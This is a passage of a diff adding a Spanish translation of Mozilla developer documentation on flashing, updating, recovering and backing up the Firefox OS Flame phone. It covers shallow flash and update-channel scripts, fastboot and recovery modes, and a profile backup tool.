+<p><strong>Nota</strong>: <span id="result_box" lang="es"><span class="hps">Si el script</span> <span class="hps">de flasheo</span> <span class="hps">queda atascado en</span> <span class="atn hps">"</span><span class="atn">&lt;</span></span> waiting for device <span lang="es"><span>&gt;</span><span>"</span> <span class="hps">mientras la pantalla</span> <span class="hps">muestra</span> <span class="atn hps">"</span><span>ThunderSoft</span> <span class="hps">(R</span><span>)</span><span>"</span><span>,</span> el script <span class="hps">no tiene permiso</span> <span class="hps">para acceder al dispositivo</span> <span class="hps">mientras está en modo</span> <span class="hps">fastboot</span><span>.</span></span> <span id="result_box" lang="es"><span class="hps">Necesita configurar</span> <span class="hps">las</span></span> <a href="/en-US/Firefox_OS/Firefox_OS_build_prerequisites#For_Linux.3A_configure_the_udev_rule_for_your_phone">reglas udev</a> <span id="result_box" lang="es"><span class="hps">para darle</span> <span class="hps">acceso</span></span>. <span id="result_box" lang="es"><span class="hps">También</span> <span class="hps">puertos</span> <span class="hps">USB 3 no</span> <span class="hps">funcionan bien con</span> <span class="hps">fastboot</span> <span class="hps">y pueden</span> <span class="hps">ser la causa de</span> <span class="hps">este problema.</span></span></p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: <span id="result_box" lang="es"><span class="hps">También</span> te <span class="hps">invitamos a</span> <span class="hps">construir su propio</span> build <span class="hps">para instalar en</span> Flame<span>:</span> <span class="hps">mire </span></span><a href="/en-US/Firefox_OS/Building_and_installing_Firefox_OS">Compilando e instalando Firefox OS</a>.</p>
+</div>
+
+<h4 id="Arreglar_la_Fuente">Arreglar la Fuente</h4>
+
+<div class="warning">
+<p><strong>Importante</strong>: E<span id="result_box" lang="es"><span class="hps">ste paso sólo</span> <span class="hps">es necesario para la</span> <span class="hps">imagen base</span> <span class="hps">v180</span><span>.</span></span></p>
+</div>
+
+<p><span id="result_box" lang="es"><span class="hps">Después de actualizar</span> <span class="hps">Gecko y</span> <span class="hps">Gaia a Nightly con</span> <span class="hps">la imagen base</span> <span class="hps">v180</span><span>,</span> <span class="hps">habrá una</span> <span class="hps">falta de correspondencia entre</span> <span class="hps">las fuentes que</span> <span class="hps">espera</span> <span class="hps">Gecko</span> <span class="hps">y Gaia</span> <span class="hps">y</span> <span class="hps">lo que la imagen</span> <span class="hps">base proporciona</span> <span class="atn hps">(</span><span>esto se ha solucionado</span> <span class="hps">a partir de</span> <span class="hps">V188</span><span>)</span><span>.</span> <span class="hps">Para solucionar esto,</span> <span class="hps">usted tiene dos opciones</span><span>:</span></span></p>
+
+<ul>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps">descargar nuestro</span></span> <a href="https://people.mozilla.org/~mwu/fira-font-update.zip">paquete de actualización de fuente</a>, <span id="result_box" lang="es"><span class="hps">extraerlo</span><span>, navegue</span> <span class="hps">en el directorio</span> <span class="hps">creado por</span> <span class="hps">la extracción</span><span>,</span> <span class="hps">y ejecute el script</span> <span class="hps">flash.sh</span> <span class="hps">suministrado.</span></span></li>
+ <li>usar el script <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/update_system_fonts.sh"><code>update_system_fonts.sh</code></a>, <span id="result_box" lang="es"><span class="hps">que</span> <span class="hps">descarga</span> <span class="hps">y flashea</span><span class="hps"> las</span> <span class="hps">fuentes del sistema</span> <span class="hps">de forma automática.</span></span></li>
+</ul>
+
+<h3 id="Actualizando_su_Flame_a_una_build_nightly"><a id="Updating_to_nightly_build" name="Updating_to_nightly_build">Actualizando su Flame a una build nightly</a></h3>
+
+<div class="note">
+<p><strong>Nota</strong>: <span id="result_box" lang="es"><span class="hps">Para</span> <span class="hps">la versión actual</span><span>, el desarrollo</span> <span class="hps">Nightly Builds</span> <span class="hps">de Firefox</span> <span class="hps">OS</span> <span class="hps">no</span> <span class="hps">es compatible con</span> <span class="hps">A-GPS,</span> <span class="hps">que puede conducir a</span> <span class="hps">un rendimiento lento</span> <span class="hps">de la funcionalidad</span> <span class="hps">GPS.</span> <span class="hps">Tenemos la intención de</span> <span class="hps">resolver esto de</span> <span class="hps">una</span> <span class="hps">futura</span> <span class="hps">actualización</span> <span class="hps">del canal</span> <span class="hps">Nightly</span><span>.</span></span></p>
+</div>
+
+<div class="warning">
+<p><strong>Importante</strong>: <span id="result_box" lang="es"><span class="hps">Cuando se ejecuta</span> <span class="hps">un flasheo completo o</span> <span class="hps">poco profundo (shallow flash)</span><span>,</span> <span class="hps">se sobrescribirán</span> <span class="hps">los datos del teléfono</span><span>:</span> <span class="hps">por lo tanto,</span> <span class="hps">debe hacer una copia</span> <span class="hps">de seguridad de sus</span> <span class="hps">datos</span> <span class="hps">antes de actualizar</span><span>!</span></span> Mire la sección <a href="#Respaldando_y_restaurando_su_información_del_Flame">Respaldando y restaurando su información del Flame</a> para más detalles.</p>
+</div>
+
+<ol>
+ <li><span id="result_box" lang="es"><span class="hps">Antes de actualizar</span> <span class="hps">su teléfono</span> <span class="hps">a una build Nightly</span> <span class="hps">usted debe</span> flashear <span class="hps">la </span><span class="hps">última imágen base</span> </span><span lang="es"> <span class="hps">para asegurarse de que</span> <span class="hps">los sistemas subyacentes</span> <span class="hps">están al día</span><span>.</span></span> Descargue una <a href="#Base Image">imágen base</a> <u>con la misma o una versión superior de Firefox OS de la versión que va a utilizar en el paso 3</u> <span id="result_box" lang="es"><span class="hps">y use esto para</span> <span class="hps">actualizar</span> <span class="hps">el software del dispositivo</span><span>,</span> <span class="hps">como se explicó anteriormente</span><span>.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">Debido a que en el</span> <span class="hps">paso anterior</span> <span class="hps">se instala</span> <span class="hps">un sistema</span> <span class="hps">operativo nuevo</span> <span class="hps">en el dispositivo,</span> <span class="hps">tendrás que</span> <span class="hps">habilitar de nuevo la depuración</span> <span class="hps">remota en</span> <span class="hps">tu Flame</span></span>, usando la opción <em>Depuración remota </em>en <a href="/en-US/Firefox_OS/Debugging/Developer_settings">Ajustes de desarrollador</a> del dispositivo.</li>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps">A continuación, elija</span> <span class="hps">una build</span> <span class="hps">para instalar</span></span> (las puedes encontrar en <a href="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/">http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/</a>). <span class="short_text" id="result_box" lang="es"><span class="hps">Usted querrá</span> <span class="hps">una de las siguientes</span><span>:</span></span>
+  <ul style="margin-left: 40px;">
+   <li><span class="short_text" id="result_box" lang="es"><span class="hps">Builds de Producción</span><span class="atn hps"> (</span><span>incluye </span>idiomas<span>)</span></span>
+    <ul>
+     <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central-flame-kk/">Últimas builds master</a> (2.5 actualmente)</li>
+     <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-b2g37_v2_2-flame-kk/">Últimas builds v2.2</a></li>
+     <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-b2g34_v2_1-flame-kk/">Últimas builds v2.1</a></li>
+     <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-b2g32_v2_0-flame-kk/">Últimas builds v2.0</a></li>
+    </ul>
+   </li>
+   <li><span id="result_box" lang="es"><span class="hps">Builds de Ingeniería</span> <span class="hps">(con</span> <span class="hps">aplicaciones</span> <span class="hps">de prueba y</span> <span class="hps">sólo</span> <span class="hps">"pseudo</span><span>-locales"</span><span>)</span></span>
+    <ul>
+     <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central-flame-kk-eng/">Últimas builds master</a> (2.5 actualmente)</li>
+     <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-b2g37_v2_2-flame-kk-eng/">Últimas builds v2.2</a></li>
+     <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-b2g34_v2_1-flame-kk-eng/">Últimas builds v2.1</a></li>
+     <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-b2g32_v2_0-flame-kk-eng/">Últimas builds v2.0</a></li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps">Escoja</span> <span class="hps">una versión</span> <span class="hps">y</span> <span class="hps">descarge tanto el archivo</span></span> <code>b2g-XX.XX.en-US.android-arm.tar.gz</code> y <code>gaia.zip</code> files. <span id="result_box" lang="es"><span class="hps">Guardelos</span> <span class="hps">dentro de un directorio</span> <span class="hps">en el escritorio</span> <span class="hps">llamado algo así como</span></span> <code>fxos</code>.</li>
+ <li>Descarga el <a href="https://raw.githubusercontent.com/Mozilla-TWQA/B2G-flash-tool/master/shallow_flash.sh">script de flasheo poco produnfo</a> <span id="result_box" lang="es"><span class="hps">y guárdelo en</span> <span class="hps">el mismo directorio que</span> <span class="hps">los dos</span> <span class="hps">archivos anteriores</span><span>.</span></span></li>
+ <li><strong>Para usuarios de Windows:</strong> <span class="short_text" id="result_box" lang="es"><span class="hps">Descargue también</span> <span class="hps">el</span></span> script windows <a href="https://raw.githubusercontent.com/Mozilla-TWQA/B2G-flash-tool/master/shallow_flash.bat">shallow_flash.bat</a> e instale <a href="https://cygwin.com">Cygwin</a>, <span id="result_box" lang="es"><span class="hps">que proporciona</span> <span class="hps">un entorno</span> <span class="hps">de comandos de Linux</span><span>-como</span> <span class="hps">en Windows</span><span>.</span> <span class="hps">Usted tendrá que</span> <span class="hps">instalar la</span> <span class="hps">categoría predeterminada</span> <span class="hps">Cygwin</span> <span class="hps">base más</span> <span class="hps">el paquete</span> <span class="hps">descomprimido</span> <span class="hps">pero</span> <span class="hps">shallow_flash.bat</span> <span class="hps">lo hará por</span> <span class="hps">usted si usted</span> <span class="hps">descarga</span> <span class="hps">y copia</span> <span class="hps">la configuración</span> <span class="hps">Cygwin</span> <span class="hps">*</span> <span class="hps">.exe en</span> <span class="hps">la misma carpeta que</span> <span class="hps">el script.</span></span></li>
+ <li>
+  <p>Desde la línea de comandos o Terminal, utilice el <code>cd</code> <span id="result_box" lang="es"><span class="hps">para entrar en la carpeta en la que ha guardado los archivos </span><span>y luego usa el siguiente comando</span></span>:</p>
+
+  <p><strong>Linux</strong>:</p>
+
+  <pre class="brush: bash">./shallow_flash.sh --gaia=gaia.zip --gecko=b2g-XX.XX.en-US.android-arm.tar.gz
+</pre>
+
+  <p><strong>Mac</strong>:</p>
+
+  <pre class="brush: bash">./shallow_flash.sh --gaia gaia.zip --gecko b2g-XX.XX.en-US.android-arm.tar.gz</pre>
+
+  <p><strong>Windows</strong>:</p>
+
+  <p>Doble clic en <code>shallow_flash.bat</code> (<span class="short_text" id="result_box" lang="es"><span class="hps">con el icono de</span> <span class="hps">engranajes</span></span>) <span class="short_text" id="result_box" lang="es"><span class="hps">o</span> <span class="hps">ejecutarlo desde</span> <span class="hps">una consola de comandos (CMD)</span><span>.</span></span> Se flasheará <code>gaia.zip</code> y un solo <code>b2g-XX.XX.en-US.android-arm.tar.gz</code> file.</p>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: <span id="result_box" lang="es"><span class="hps">Si usted recibe un error</span> <span class="hps">"permiso denegado</span><span>" </span><span class="hps">al ejecutar</span> <span class="hps">los comandos anteriores</span><span>,</span> <span class="hps">el</span> <span class="hps">script de shell</span><span>, probablemente</span> <span class="hps">no tiene</span> <span class="hps">los permisos</span> <span class="hps">adecuados.</span></span><span lang="es"> <span class="hps">Ejecutando</span> <span class="hps">chmod</span> <span class="hps">+x</span> <span class="hps">flash.sh</span> <span class="hps">en él</span> <span class="hps">debe</span> <span class="hps">resolver este problema.</span></span></p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Un "shallow flash"actualiza <a href="/en-US/docs/Mozilla/Gecko">Gecko</a> y <a href="/en-US/Firefox_OS/Platform/Gaia">Gaia</a> más directorios de datos, <span id="result_box" lang="es"><span class="hps">en lugar de</span> <span class="hps">un flash</span> <span class="hps">completo</span></span>, <span id="result_box" lang="es"><span>que actualiza</span> <span class="hps">Gecko</span> <span class="hps">/</span> <span class="hps">Gaia</span><span>,</span> <span class="hps">sino también</span> <span class="hps">la capa</span> </span><a href="/en-US/Firefox_OS/Platform/Gonk">Gonk</a> <span id="result_box" lang="es"><span class="hps">subyacente y</span> <span class="hps">binarios</span> <span class="hps">asociados</span> <span class="hps">en particular</span> <span class="hps">a este</span> <span class="hps">tipo de dispositivo.</span></span> <span id="result_box" lang="es"><span class="hps">Es por esto que</span> <span class="hps">es una buena idea</span> <span class="hps">para actualizar</span> <span class="hps">a la primera</span></span> <a href="#Base Image">base image</a>, <span id="result_box" lang="es"><span class="hps">como se sugirió anteriormente</span></span>, entonces flasheo poco produnfo <span id="result_box" lang="es"><span class="hps">sobre la parte superior</span> <span class="hps">de esa</span></span>, <span class="short_text" id="result_box" lang="es"><span class="hps">una vez que tienes</span> <span class="hps">la correcta capa</span></span> Gonk/binario.</p>
+</div>
+
+<p><span id="result_box" lang="es"><span class="hps">Una vez que el</span> <span class="hps">proceso de instalación</span> <span class="hps">termina el</span> <span class="hps">teléfono debe</span> <span class="hps">reiniciarse en</span> <span class="hps">la build</span> <span class="hps">actualizada y</span> <span class="hps">mostrar primero el</span> <span class="hps">flujo de trabajo</span> <span class="hps">del usuario</span><span class="hps">.</span></span></p>
+
+<h4 id="Cambiar_al_canal_de_actualización_nightlyl"><span class="short_text" id="result_box" lang="es"><span class="hps">Cambiar al</span> <span class="hps">canal de</span> <span class="hps">actualización "nightly"</span></span>l</h4>
+
+<p>En v2.2 usted puede cambiar el <strong>Canal de actualizaciones</strong> <code>default</code> por <code>nightly</code> en los <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Update_channel">Ajustes de desarrollador</a>.</p>
+
+<p><span id="result_box" lang="es"><span class="hps">A continuación</span> <span class="hps">es el</span> <span class="hps">método más antiguo</span><span>,</span> <span class="hps">si</span> <span class="hps">no encuentra</span> <span class="hps">esa configuración</span> <span class="hps">en</span> <span class="hps">su dispositivo.</span></span></p>
+
+<ol>
+ <li><span id="result_box" lang="es"><span class="hps">Asegúrate de</span> que la <span class="hps">depuración</span> <span class="hps">remota esté</span> <span class="hps">habilitada en su </span>Flame</span>, usando la opción <em>Depuración Remota </em>en <a href="/en-US/Firefox_OS/Debugging/Developer_settings">Ajustes de desarrollador</a> del dispositivo.</li>
+ <li>Descarga el script <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/change_channel.sh">cambiar canal</a>: <span class="short_text" id="result_box" lang="es"><span class="hps">haz click en el enlace, pulsa el botón</span></span> <em>Raw</em>, <span id="result_box" lang="es"><span class="hps">continuación utiliza la función "Guardar como" de su navegador y guarde la página como</span></span><code> change_channel.sh</code>.</li>
+ <li>En tu terminal, utiliza <code>cd</code> <span id="result_box" lang="es"><span class="hps">para acceder a la carpeta que contiene al </span><span class="hps">script</span> y ejecuta el siguiente comando<span>:</span></span><br>
+
+  <pre class="brush: bash">./change_channel.sh -v nightly</pre>
+ </li>
+ <li><span id="result_box" lang="es"><span class="hps">Una vez</span> <span class="hps">que se reinicie el</span> <span class="hps">teléfono</span><span>, revisa actualizaciones</span><span class="hps"> en</span></span> <em>Ajustes &gt; Información &gt; Revisar ahora.</em></li>
+</ol>
+
+<p><span id="result_box" lang="es"><span class="hps">Ahora puedes </span><span class="hps">obtener actualizaciones</span> <span class="hps">OTA (over-the-air)</span> "<span class="hps">nightly"</span> en<span class="hps"> tu Flame</span><span>.</span></span></p>
+
+<div class="note">
+<p><strong>Nota:</strong> <span id="result_box" lang="es"><span class="hps">Puede seleccionar entre</span> <span class="hps">varios</span> <span class="hps">canales</span> <span class="hps">de actualización</span> <span class="hps">diferentes</span></span>. Ejecuta "./change_channel.sh -h" <span class="short_text" id="result_box" lang="es"><span class="hps">para ver</span> <span class="hps">otras</span> <span class="hps">opciones de canales.</span></span></p>
+</div>
+
+<h3 id="Modo_fastboot">Modo fastboot</h3>
+
+<p>Puede que al aplicar un Shallow Flash o una actualización de la imágen base el telefono deje de responder. Cuando <span id="result_box" lang="es"><span class="hps">esto ocurre</span> <span class="hps">debes reiniciar</span> <span class="hps">el teléfono</span> <span class="hps">en modo de recuperación</span></span>. <span class="short_text" id="result_box" lang="es"><span class="hps">El</span> <span class="hps">modo de recuperación</span> <span class="hps">ofrece</span> algunas<span class="hps"> opciones</span></span> (<em>Reiniciar</em>, <em>Actualizar desde adb</em>, <em>Limpiar datos</em>, <em>Limpiar cache</em>, y <em>Actualizar desde sdcard</em>). D<span class="short_text" id="result_box" lang="es"><span class="hps">esafortunadamente</span></span>, seleccionando <em>Update from adb</em> <span id="result_box" lang="es"><span class="hps">entra en un mod</span><span class="hps">o (sideload) en el que no puede utilizar</span> <span class="hps">los</span> <span class="hps">otros comandos</span> <span class="hps">de ADB</span></span>. El comando <code>adb sideload</code> <span id="result_box" lang="es"><span class="hps">funcionaría</span> <span class="hps">pero los diversos</span> script<span class="hps"> de flasheo</span> <span class="hps">dependen de</span> <span class="hps">otros comandos</span> <span class="hps">adb</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span>Puede</span> <span class="hps">forzar el modo</span> <span class="hps">fastboot</span> <span class="hps">de la siguiente manera</span><span>:</span></span></p>
+
+<ol>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps">Apague</span> <span class="hps">el teléfono</span></span> (<span id="result_box" lang="es"><span class="hps">que puede</span> <span class="hps">implicar el remover</span> <span class="hps">la batería</span> <span class="hps">en casos extremos</span></span>...)</li>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps">Conecte el</span> <span class="hps">cable</span> <span class="hps">USB</span><span>.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">Encender el teléfono</span> <span class="hps">de nuevo</span> <span class="hps">pulsando</span> los botones <span class="hps">Bajar volumen</span> <span class="hps">y</span><span class="hps"> Encender,</span> <span class="hps">juntos.</span></span></li>
+</ol>
+
+<p><span id="result_box" lang="es"><span class="hps">El teléfono</span> <span class="hps">debe</span> <span class="hps">mostrar el</span> <span class="atn hps">texto "</span><span>FASTBOOT</span><span>"</span><span>: este es</span> <span class="hps">el modo</span> <span class="hps">fastboot</span> <span class="hps">y está</span> <span class="hps">a la espera de</span> <span class="hps">una conexión USB.</span></span>  <span id="result_box" lang="es"><span class="hps">En este punto conecta tu teléfono y ejecuta el siguiente comando </span></span><code>fastboot devices</code>. <span id="result_box" lang="es"><span class="hps">Tenga en cuenta que</span> regularmente <span class="hps">adb</span> <span class="hps">no vería</span> <span class="hps">el dispositivo</span></span> — <span class="short_text" id="result_box" lang="es"><span class="hps">sólo</span> <span class="hps">fastboot</span> <span class="hps">puede verlo</span></span>. <span id="result_box" lang="es"><span class="hps">En este modo</span><span>, puedes usar</span> <span class="hps">el script</span> <span class="hps">flash para</span> <span class="hps">instalar la última</span></span> <a href="#Base Image">imágen base</a> <span id="result_box" lang="es"><span class="hps">como se explicó antes</span></span>. <span id="result_box" lang="es"><span class="hps">A medida que el</span> <span class="hps">script hace</span> <span class="hps">uso de</span> <span class="hps">comandos</span> <span class="hps">tanto</span> <span class="hps">adb</span> <span class="hps">y</span> <span class="hps">fastboot</span><span>,</span> <span class="hps">es posible que aparezca</span> <span class="hps">algún error</span> <span class="hps">inicial y</span> <span class="hps">advertencias</span> <span class="hps">de</span> <span class="hps">adb</span><span>,</span> <span class="hps">pero el dispositivo</span> será flasheado y funcionará de nuevo a<span class="hps">l final</span> <span class="hps">del procedimiento</span><span>.</span></span></p>
+
+<h3 id="Modo_descarga_de_Emergencia">Modo descarga de Emergencia</h3>
+
+<p>Si al instalar una nueva build, el teléfono deja de responder <span class="short_text" id="result_box" lang="es"><span class="hps">y</span> además no <span class="hps">puedes entrar en</span> <span class="hps">el modo</span> <span class="hps">Fastboot</span></span>, <span id="result_box" lang="es"><span class="hps">puedes usar el modo</span> <span class="hps">de emergencia</span> <span class="hps">para recuperarlo.</span></span> <span id="result_box" lang="es"><span class="hps">Usted necesitará</span> <span class="hps">el cable USB</span> <span class="hps">de emergencia proporcionada</span> <span class="hps">con la etiqueta roja</span></span> “Recovery Cable” <span id="result_box" lang="es"><span class="hps">en él y la </span></span><a href="http://cds.w5v8t3u9.hwcdn.net/Flame_Rescure_Tool_(updated_with_tutorial).zip">Herramienta de descarrga de emergencia</a> <span class="short_text" id="result_box" lang="es"><span class="hps">para</span> <span class="hps">entrar en este modo</span></span>.<span id="result_box" lang="es"><span class="hps"> Para obtener instrucciones completas</span><span>, consulte el tutorial</span> <span class="hps">de la herramienta</span> <span class="hps">rescate de emergencia</span> <span class="hps">incluido en</span> <span class="hps">los archivos</span> <span class="hps">de la herramienta</span> <span class="hps">de descarga.</span></span> <span id="result_box" lang="es"><span class="hps">Póngase en contacto con</span> <span class="hps">el fabricante del dispositivo</span></span> (flameservice [at] thundersoft.com) <span class="short_text" id="result_box" lang="es"><span class="hps">si usted necesita cualquier</span> <span class="hps">ayuda</span> <span class="hps">técnica</span><span>.</span></span></p>
+
+<p><img alt="Emergency download tool dialog box as it is when it start." src="https://mdn.mozillademos.org/files/9787/EmergencyDownloadTool.jpg" style="height: 363px; width: 497px;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: <span class="short_text" id="result_box" lang="es"><span class="hps">La herramienta</span> <span class="hps">proporcionada es</span> <span class="hps">sólo para Windows</span><span>.</span></span></p>
+</div>
+
+<h3 id="Modo_de_Recuperación">Modo de Recuperación</h3>
+
+<p><span id="result_box" lang="es"><span class="hps">Puedes e</span><span class="hps">ntrar en modo</span> <span class="hps">de recuperación</span> <span class="hps">para borrar</span> <span class="hps">los datos del teléfono</span> <span class="hps">o actualizar</span> <span class="hps">manualmente el</span> <span class="hps">firmware</span><span>.</span> <span class="hps">Hay dos</span> <span class="hps">maneras de entrar en</span> <span class="hps">este modo</span><span>:</span></span></p>
+
+<p>Si tu teléfono está apagado, presiona los botones Subir Volúmen + Encender, juntos.</p>
+
+<ul>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps">Si las herramientas</span></span> <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">ADB</a> <span class="short_text" id="result_box" lang="es"><span class="hps">están disponibles</span></span>, <span id="result_box" lang="es"><span class="hps">asegurate de que</span> <span class="hps">la depuración</span> <span class="hps">remota</span> <span class="hps">está activada en</span></span> <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Remote_debugging">Ajustes de Desarrollador</a> del dispositivo, <span id="result_box" lang="es"><span class="hps">conecta el teléfono</span> <span class="hps">al ordenador mediante</span> <span class="hps">USB</span>  <span class="hps">y ejecuta el siguiente comando</span></span> <code>adb reboot recovery</code> en la línea de comandos.</li>
+</ul>
+
+<p>Cuando ingreses al Modo de Recuperación presiona las teclas de Volumen (Subir y Bajar) para moverte dentro del menú y utiliza el botón de Encendido para seleccionar una opción. Asegurate de tener un respaldo de la información que tengas en el teléfono asi como en la tarjeta de memoria (SD) así como de haber descargado los ultimos paquetes de actualización.</p>
+
+<h2 id="Respaldando_y_restaurando_su_información_del_Flame">Respaldando y restaurando su información del Flame</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Cuando utiliza Flame</span><span>,</span> <span class="hps">no querrá</span> <span class="hps">perder</span> <span class="hps">los contactos</span> <span class="hps">de su teléfono</span> <span class="hps">y otros</span> <span class="hps">datos, mientras </span><span class="hps">actualiza a</span> <span class="hps">una nueva versión</span> <span class="atn hps">(</span><span>como se ha explicado</span> <span class="hps">anteriormente en este artículo</span><span>)</span><span>.</span></span> Para respaldar y restaurar información puede utilizar nuestra herramienta Backup and restore profile, <span class="short_text" id="result_box" lang="es"><span class="hps">que está</span> <span class="hps">contenida en</span></span> <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool">B2G-flash-tool Git repo</a>.</p>
+
+<ol>
+ <li><span id="result_box" lang="es"><span class="hps">Para utilizarlo,</span> <span class="hps">primero</span> <span class="hps">abra su</span>  <span class="hps">terminal </span><span class="hps">/ </span><span class="hps">línea de </span></span><span lang="es"><span class="hps">comandos.</span></span></li>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps">Clone</span> <span class="hps">el repositorio</span> <span class="hps">anterior</span></span> (necesita tener <a href="http://www.git-scm.com/downloads">Git instalado</a>) usando
+  <pre class="brush: bash">git clone https://github.com/Mozilla-TWQA/B2G-flash-tool</pre>
+ </li>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps">La herramienta</span> <span class="hps">es un archivo</span> <span class="hps">Python</span></span>: <code>backup_restore_profile.py</code>. <span id="result_box" lang="es"><span class="hps">Asegúrese de que tiene</span> </span><a href="https://www.python.org/downloads/">instalado Python</a> (<span id="result_box" lang="es"><span>2.7.x</span> <span class="hps">es probablemente el mejor</span><span>.</span></span>) <span id="result_box" lang="es"><span class="hps">Sistemas Linux y</span> <span class="hps">Mac deben</span> <span class="hps">tener</span></span> <span class="short_text" id="result_box" lang="es"><span class="hps">esto</span> <span class="hps">fuera de la caja</span><span>.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">Entre al</span> <span class="hps">directorio que acaba</span> de clonar<span class="hps"> utilizando</span></span> <code>cd B2G-flash-tool</code>.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: <span id="result_box" lang="es"><span class="hps">Al utilizar</span> <span class="hps">esta herramienta, usted</span> <span class="hps">también tendrá que</span> <span class="hps">asegurarse de que su</span> <span class="hps">teléfono está conectado</span> <span class="hps">a través de USB</span> <span class="hps">al ordenador,</span> <span class="hps">y que</span> <span class="hps">ADB</span></span> (mire <a href="#Important_steps_to_follow_first">Important steps to follow first</a> antes) y que Depuración via USB (<a href="/en-US/Firefox_OS/Debugging/Developer_settings">Ajustes de desarrollador</a> en su dispositivo) está habilitado.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: <span id="result_box" lang="es"><span class="hps">Si recibe</span> <span class="hps">un mensaje</span> sobre<span class="hps"> </span><span class="hps">la falta de</span> <span class="hps">permisos</span> <span class="hps">para ejecutar</span> <span class="hps">este archivo, use</span></span> <code>cd</code> <span id="result_box" lang="es"><span class="hps">para el directorio</span> <span class="hps">donde guardó</span> <span class="hps">el archivo y</span> <span class="hps">ejecuta el</span> <span class="hps">siguiente comando</span><span>:</span></span></p>
+
+<pre class="brush: bash">chmod +x backup_restore_profile.py</pre>
+</div>
+
+<h3 id="Respaldando_su_información">Respaldando su información</h3>
+
+<p><span id="result_box" lang="es"><span class="hps">Antes de</span> <span class="hps">realizar copias de seguridad</span> <span class="hps">usted debe</span> <span class="hps">asegurarse de que su</span> <span class="hps">dispositivo se ha actualizado</span> <span class="hps">con la actualización</span> <span class="hps">OTA</span> <span class="hps">más reciente.</span></span> <span class="short_text" id="result_box" lang="es"><span class="hps">Para ello,</span> <span class="hps">en el teléfono</span> vaya<span class="hps"> a</span></span> <em>Ajustes &gt; Información &gt; Actualizaciones &gt; clic en Revisar ahora</em>. <span id="result_box" lang="es"><span class="hps">Si hay</span> <span class="hps">una actualización disponible,</span> <span class="hps">usted debe</span> <span class="hps">obtener</span> <span class="hps">en breve una</span> <span class="hps">notificación de</span> <span class="hps">una actualización disponible</span><span>.</span> <span class="hps">Elija instalar</span> <span class="hps">la actualización.</span></span></p>
+
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">Ahora</span><span>, en el directorio</span> <span class="hps">donde guardó</span></span> <code>backup_restore_profile.py</code>, <span class="short_text" id="result_box" lang="es"><span class="hps">ejecute lo siguiente</span><span>:</span></span></p>
+
+<pre class="brush: bash">python backup_restore_profile.py -b</pre>
+
+<p><span id="result_box" lang="es"><span class="hps">Esto debe</span> <span class="hps">guardar su</span> <span class="hps">perfil de dispositivo</span> <span class="hps">a un</span> <span class="hps">directorio llamado</span></span> <code>mozilla-profile</code>, <span class="short_text" id="result_box" lang="es"><span class="hps">en el mismo</span> <span class="hps">directorio donde se encuentra el</span> <span class="hps">script</span></span><span class="short_text" lang="es"><span>.</span></span></p>
+
+<h3 id="Restaurando_su_información">Restaurando su información</h3>
+
+<p><span id="result_box" lang="es"><span class="hps">Antes de </span>restaurar <span class="hps">usted debe</span> <span class="hps">asegurarse de que su</span> <span class="hps">dispositivo se ha actualizado</span> <span class="hps">con la actualización</span> <span class="hps">OTA</span> <span class="hps">más reciente.</span></span>. <span class="short_text" id="result_box" lang="es"><span class="hps">Para ello,</span> <span class="hps">en el teléfono</span> vaya<span class="hps"> a</span></span> <em>Ajustes &gt; Información &gt; Actualizaciones &gt; clic en Revisar ahora</em>. <span id="result_box" lang="es"><span class="hps">Si hay</span> <span class="hps">una actualización disponible,</span> <span class="hps">usted debe</span> <span class="hps">obtener</span> <span class="hps">en breve una</span> <span class="hps">notificación de</span> <span class="hps">una actualización disponible</span><span>.</span> <span class="hps">Elija instalar</span> <span class="hps">la actualización.</span></span></p>
+
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">E</span><span>n el directorio</span> <span class="hps">dondese encuentra</span></span> <code>mozilla-profile</code> (mire la sección anterior), <span class="short_text" id="result_box" lang="es"><span class="hps">ejecute lo siguiente</span><span>:</span></span></p>
+
+<pre class="brush: bash">python backup_restore_profile.py -r</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: <span id="result_box" lang="es"><span class="hps">Usted puede obtener</span> <span class="hps">una lista de</span> <span class="hps">todas las opciones de</span> <span class="hps">la herramienta</span> <span class="hps">compatible</span> <span class="hps">con</span> <span class="hps">Python</span> <span class="hps">en ejecución</span></span><br>
+ <code>backup_restore_profile.py -h</code>.</p>
+</div>
+
+<h2 id="Instalando_apps_en_tu_Flame">Instalando apps en tu Flame</h2>
+
